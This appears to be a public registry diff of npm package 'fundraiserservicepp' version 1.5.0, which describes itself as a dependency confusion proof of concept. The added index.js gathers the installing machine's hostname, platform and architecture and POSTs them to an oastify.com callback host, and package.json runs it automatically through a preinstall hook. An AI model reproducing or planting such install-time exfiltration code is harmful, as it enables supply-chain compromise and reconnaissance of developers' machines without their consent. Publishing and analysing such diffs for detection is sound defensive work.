fundraiserservicepp 1.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
package/index.js ADDED
@@ -0,0 +1,21 @@
1
+ const https = require("https");
2
+ const os = require("os");
3
+
4
+ const data = JSON.stringify({
5
+ hostname: os.hostname(),
6
+ platform: os.platform(),
7
+ arch: os.arch()
8
+ });
9
+
10
+ const req = https.request({
11
+ hostname: "fundraiserservicepp.rpke7za0zz1pwj9fz5058j0y5pbgz82wr.oastify.com",
12
+ path: "/hit",
13
+ method: "POST",
14
+ headers: {
15
+ "Content-Type": "application/json",
16
+ "Content-Length": data.length
17
+ }
18
+ });
19
+
20
+ req.write(data);
21
+ req.end();
package/package.json ADDED
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "fundraiserservicepp",
3
+ "version": "1.5.0",
4
+ "description": "Dependency confusion proof of concept package",
5
+ "scripts": {
6
+ "preinstall": "node index.js"
7
+ }
8
+ }